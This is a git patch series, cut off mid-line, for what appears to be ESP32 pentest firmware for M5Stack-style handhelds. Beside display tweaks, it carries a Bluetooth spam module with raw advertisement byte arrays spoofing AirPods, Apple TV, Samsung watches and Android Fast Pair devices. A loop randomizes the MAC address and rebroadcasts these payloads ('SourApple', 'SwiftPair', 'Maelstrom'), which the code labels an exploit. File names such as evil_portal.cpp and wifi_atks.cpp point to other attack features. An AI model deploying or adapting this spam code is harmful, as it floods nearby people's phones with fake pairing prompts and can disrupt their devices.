From 4f4f7597d01b5959f7679520db0ef96e59bef0bd Mon Sep 17 00:00:00 2001 From: Pirata <104320209+bmorcelli@users.noreply.github.com> Date: Thu, 16 May 2024 08:13:37 -0300 Subject: [PATCH 1/9] Update main.cpp --- src/main.cpp | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/src/main.cpp b/src/main.cpp index 4d6616d9..4bd4941b 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -102,22 +102,18 @@ void setup() { getBrightness(); //Start Bootscreen timer int i = millis(); - setBrightness(0,false); sprite.createSprite(WIDTH, HEIGHT); - menu_op.createSprite(WIDTH, HEIGHT); sprite.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_WHITE); - menu_op.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_RED); sprite.pushSprite(0,0); + bool change=false; while(millis()2000) && (millis()-i)<2500) tft.fillScreen(TFT_BLACK); if((millis()-i>2500) && (millis()-i)<2700) sprite.pushSprite(0,0); if((millis()-i>2700) && (millis()-i)<2900) tft.fillScreen(TFT_BLACK); - if((millis()-i>3100) && (millis()-i)<3300) sprite.pushSprite(0,0); + if((millis()-i>3100) && (millis()-i)<3300 && !change) { sprite.pushSprite(0,0); change = true; } + if(change) { sprite.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_RED); change = false; } if((millis()-i>3300) && (millis()-i)<3700) tft.fillScreen(TFT_BLACK); - if((millis()-i>3700)) menu_op.pushSprite(0,0); + if((millis()-i>3700)) sprite.pushSprite(0,0); #if defined (CARDPUTER) // If any key is pressed, it'll jump the boot screen @@ -136,9 +132,7 @@ void setup() { // If M5 or Enter button is pressed, continue from here Program: sprite.deleteSprite(); - menu_op.deleteSprite(); sprite.createSprite(WIDTH-15,HEIGHT-15); - getBrightness(); delay(200); } From e46d57f9fa964ab88b1536034034a09a1fbf4bf6 Mon Sep 17 00:00:00 2001 From: Pirata <104320209+bmorcelli@users.noreply.github.com> Date: Fri, 17 May 2024 11:53:04 -0300 Subject: [PATCH 2/9] Migrated from sprites to tft Migrated from Sprites to tft on screen handlings to manage Free Ram. little drawings are still using Sprites, ak game and menu drawings --- platformio.ini | 7 +- src/ble_spam.cpp | 172 ++++++++++++--------------- src/ble_spam.h | 5 +- src/display.cpp | 224 ++++++++++++----------------------- src/display.h | 3 +- src/evil_portal.cpp | 105 +++++++++-------- src/globals.h | 1 - src/main.cpp | 21 ++-- src/mykeyboard.cpp | 272 +++++++++++++++++++++---------------------- src/sd_functions.cpp | 8 -- src/tururururu.cpp | 72 ++++++------ src/webInterface.cpp | 172 ++++++++++++++------------- src/wifi_atks.cpp | 40 +++---- src/wifi_common.cpp | 16 ++- 14 files changed, 499 insertions(+), 619 deletions(-) diff --git a/platformio.ini b/platformio.ini index bac0a617..847fd074 100644 --- a/platformio.ini +++ b/platformio.ini @@ -28,7 +28,6 @@ lib_deps = Time LibSSH-ESP32 PCA9554 - h2zero/NimBLE-Arduino @ ^1.4.1 [env:m5stack-cplus2] platform = espressif32 @@ -55,7 +54,7 @@ build_flags = -DWIDTH=240 -DHEIGHT=135 -DBACKLIGHT=27 - -DMINBRIGHT=80 + -DMINBRIGHT=160 -DLED=19 -DLED_ON=HIGH @@ -174,7 +173,7 @@ build_flags = -DWIDTH=240 -DHEIGHT=135 -DBACKLIGHT=38 - -DMINBRIGHT=80 + -DMINBRIGHT=160 -DMAX_MENU_SIZE=5 -DFP=1 @@ -287,7 +286,7 @@ build_flags = -DLED_ON=HIGH -DLED_OFF=LOW -DBACKLIGHT=38 - -DMINBRIGHT=80 + -DMINBRIGHT=160 -DMAX_MENU_SIZE=5 -DUSER_SETUP_LOADED=1 -DST7789_2_DRIVER=1 diff --git a/src/ble_spam.cpp b/src/ble_spam.cpp index 55888f64..e054da78 100644 --- a/src/ble_spam.cpp +++ b/src/ble_spam.cpp @@ -3,16 +3,16 @@ #include "display.h" #include "mykeyboard.h" #include "globals.h" - +/* extern "C" { uint8_t esp_base_mac_addr[6]; esp_err_t esp_ble_gap_set_rand_addr(const uint8_t *rand_addr); } - +*/ struct BLEData { - NimBLEAdvertisementData AdvData; - NimBLEAdvertisementData ScanData; + BLEAdvertisementData AdvData; + BLEAdvertisementData ScanData; }; struct WatchModel @@ -42,35 +42,35 @@ enum EBLEPayloadType // globals for passing bluetooth info between routines // AppleJuice Payload Data uint8_t Airpods[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t AirpodsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t AirpodsMax[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t AirpodsGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t AirpodsGen3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t AirpodsProGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t PowerBeats[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t PowerBeatsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t BeatsSoloPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t BeatsStudioBuds[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t BeatsFlex[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t BeatsX[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t BeatsSolo3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t BeatsStudio3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t BeatsStudioPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t BeatsFitPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t BeatsStudioBudsPlus[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t AppleTVSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t AirpodsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t AirpodsMax[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t AirpodsGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t AirpodsGen3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t AirpodsProGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t PowerBeats[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t PowerBeatsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t BeatsSoloPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t BeatsStudioBuds[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t BeatsFlex[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t BeatsX[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t BeatsSolo3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t BeatsStudio3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t BeatsStudioPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t BeatsFitPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t BeatsStudioBudsPlus[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +//uint8_t AppleTVSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t AppleTVPair[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t AppleTVNewUser[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t AppleTVAppleIDSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t AppleTVWirelessAudioSync[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t AppleTVHomekitSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t AppleTVKeyboard[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t AppleTVConnectingToNetwork[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t HomepodSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t SetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t TransferNumber[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t TVColorBalance[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; -uint8_t AppleVisionPro[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x24, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t AppleTVNewUser[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t AppleTVAppleIDSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t AppleTVWirelessAudioSync[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t AppleTVHomekitSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t AppleTVKeyboard[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t AppleTVConnectingToNetwork[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t HomepodSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t SetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t TransferNumber[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t TVColorBalance[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; +//uint8_t AppleVisionPro[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x24, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t Airpods_AppleTV[54] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; @@ -91,7 +91,7 @@ DeviceType android_models[] = { {0x0A0000, "Anti-Spoof Test 2"}, {0x00000B, "Google Gphones"}, {0x0B0000, "Google Gphones 2"}, - {0x0C0000, "Google Gphones 3"}, + /*{0x0C0000, "Google Gphones 3"}, {0x00000D, "Test 00000D"}, {0x000007, "Android Auto"}, {0x070000, "Android Auto 2"}, @@ -135,7 +135,7 @@ DeviceType android_models[] = { {0x0E30C3, "Razer Hammerhead TWS"}, {0x72EF8D, "Razer Hammerhead TWS X"}, {0x72FB00, "Soundcore Spirit Pro GVA"}, - {0x0003F0, "LG HBS-835S"}, + */ {0x0003F0, "LG HBS-835S"}, {0x002000, "AIAIAI TMA-2 (H60)"}, {0x003000, "Libratone Q Adapt On-Ear"}, {0x003001, "Libratone Q Adapt On-Ear 2"}, @@ -169,7 +169,7 @@ DeviceType android_models[] = { {0xF0020A, "JBL LIVE400BT"}, {0xF0020B, "JBL LIVE400BT"}, {0xF0020C, "JBL LIVE400BT"}, - {0xF00203, "JBL Everest 310GA"}, + /* {0xF00203, "JBL Everest 310GA"}, {0xF00202, "JBL Everest 110GA"}, {0xF00213, "JBL LIVE650BTNC"}, {0xF0020F, "JBL LIVE500BT"}, @@ -268,7 +268,7 @@ DeviceType android_models[] = { {0x0703F0, "LG HBS-1120"}, {0x0803F0, "LG HBS-1125"}, {0x0903F0, "LG HBS-2000"}, - +*/ // Custom debug popups {0xD99CA1, "Flipper Zero"}, {0x77FF67, "Free Robux"}, @@ -290,7 +290,7 @@ WatchModel watch_models[26] = { {0x02, "Black Watch4 Classic 40m"}, {0x03, "White Watch4 Classic 40m"}, {0x04, "Black Watch4 44mm"}, - {0x05, "Silver Watch4 44mm"}, +/*{0x05, "Silver Watch4 44mm"}, {0x06, "Green Watch4 44mm"}, {0x07, "Black Watch4 40mm"}, {0x08, "White Watch4 40mm"}, @@ -306,7 +306,7 @@ WatchModel watch_models[26] = { {0x16, "Gray Watch5 Pro 45mm"}, {0x17, "White Watch5 44mm"}, {0x18, "White & Black Watch5"}, - {0x1B, "Black Watch6 Pink 40mm"}, +*/{0x1B, "Black Watch6 Pink 40mm"}, {0x1C, "Gold Watch6 Gold 40mm"}, {0x1D, "Silver Watch6 Cyan 44mm"}, {0x1E, "Black Watch6 Classic 43m"}, @@ -338,11 +338,11 @@ int android_models_count = (sizeof(android_models) / sizeof(android_models[0])); //ESP32 Sour Apple by RapierXbox //Exploit by ECTO-1A -NimBLEAdvertising *pAdvertising; +BLEAdvertising *pAdvertising; //// https://github.com/Spooks4576 -NimBLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType Type) { - NimBLEAdvertisementData AdvData = NimBLEAdvertisementData(); +BLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType Type) { + BLEAdvertisementData AdvData = BLEAdvertisementData(); uint8_t* AdvData_Raw = nullptr; uint8_t i = 0; @@ -458,86 +458,72 @@ NimBLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType Type) { } //// https://github.com/Spooks4576 - -void executeSourApple() { - uint8_t macAddr[6]; +void executeSpam(EBLEPayloadType type) { + uint8_t macAddr[6]; + if(type != Apple) { generateRandomMac(macAddr); esp_base_mac_addr_set(macAddr); - NimBLEDevice::init(""); - NimBLEServer *pServer = NimBLEDevice::createServer(); - - pAdvertising = pServer->getAdvertising(); - esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); - delay(40); - //NimBLEAdvertisementData advertisementData = getOAdvertisementData(); - NimBLEAdvertisementData advertisementData = GetUniversalAdvertisementData(Apple); - pAdvertising->setAdvertisementData(advertisementData); - pAdvertising->start(); - delay(20); - pAdvertising->stop(); -} - -void executeSwiftpairSpam(EBLEPayloadType type) { - uint8_t macAddr[6]; - generateRandomMac(macAddr); - esp_base_mac_addr_set(macAddr); - - NimBLEDevice::init(""); - - NimBLEServer *pServer = NimBLEDevice::createServer(); - esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); - pAdvertising = pServer->getAdvertising(); - - //NimBLEAdvertisementData advertisementData = getSwiftAdvertisementData(); - NimBLEAdvertisementData advertisementData = GetUniversalAdvertisementData(type); - pAdvertising->setAdvertisementData(advertisementData); - pAdvertising->start(); - delay(10); - pAdvertising->stop(); - - NimBLEDevice::deinit(); + } + BLEDevice::init(""); + delay(10); + BLEServer *pServer = BLEDevice::createServer(); + + //esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); + pAdvertising = pServer->getAdvertising(); + delay(40); + //BLEAdvertisementData advertisementData = getSwiftAdvertisementData(); + BLEAdvertisementData advertisementData = GetUniversalAdvertisementData(type); + pAdvertising->setAdvertisementData(advertisementData); + pAdvertising->start(); + delay(10); + if(type == Apple) delay(10); + + pAdvertising->stop(); + delay(10); + BLEDevice::deinit(); } void aj_adv(int ble_choice){ + if (ble_choice==0) data = Airpods; + if (ble_choice==3) data = AppleTVPair; if (ble_choice==5) data = Airpods_AppleTV; + int mael = 0; int timer = 0; int count = 0; timer = millis(); while(1) { - if(millis()-timer >1000) { + if(millis()-timer >800) { switch(ble_choice){ case 0: // Applejuice - data = Airpods; displayRedStripe("Applejuice (" + String(count) + ")",TFT_WHITE,FGCOLOR); - executeSourApple(); + executeSpam(Apple); break; case 1: // SwiftPair displayRedStripe("SwiftPair (" + String(count) + ")",TFT_WHITE,FGCOLOR); - executeSwiftpairSpam(Microsoft); + executeSpam(Microsoft); break; case 2: // Samsung displayRedStripe("Samsung (" + String(count) + ")",TFT_WHITE,FGCOLOR); - executeSwiftpairSpam(Samsung); + executeSpam(Samsung); break; case 3: // Sour Apple - data = AppleTVPair; displayRedStripe("SourApple (" + String(count) + ")",TFT_WHITE,FGCOLOR); - executeSourApple(); + executeSpam(Apple); break; case 4: // Android displayRedStripe("Android (" + String(count) + ")",TFT_WHITE,FGCOLOR); - executeSwiftpairSpam(Google); + executeSpam(Google); break; case 5: // Tutti-frutti displayRedStripe("Maelstrom (" + 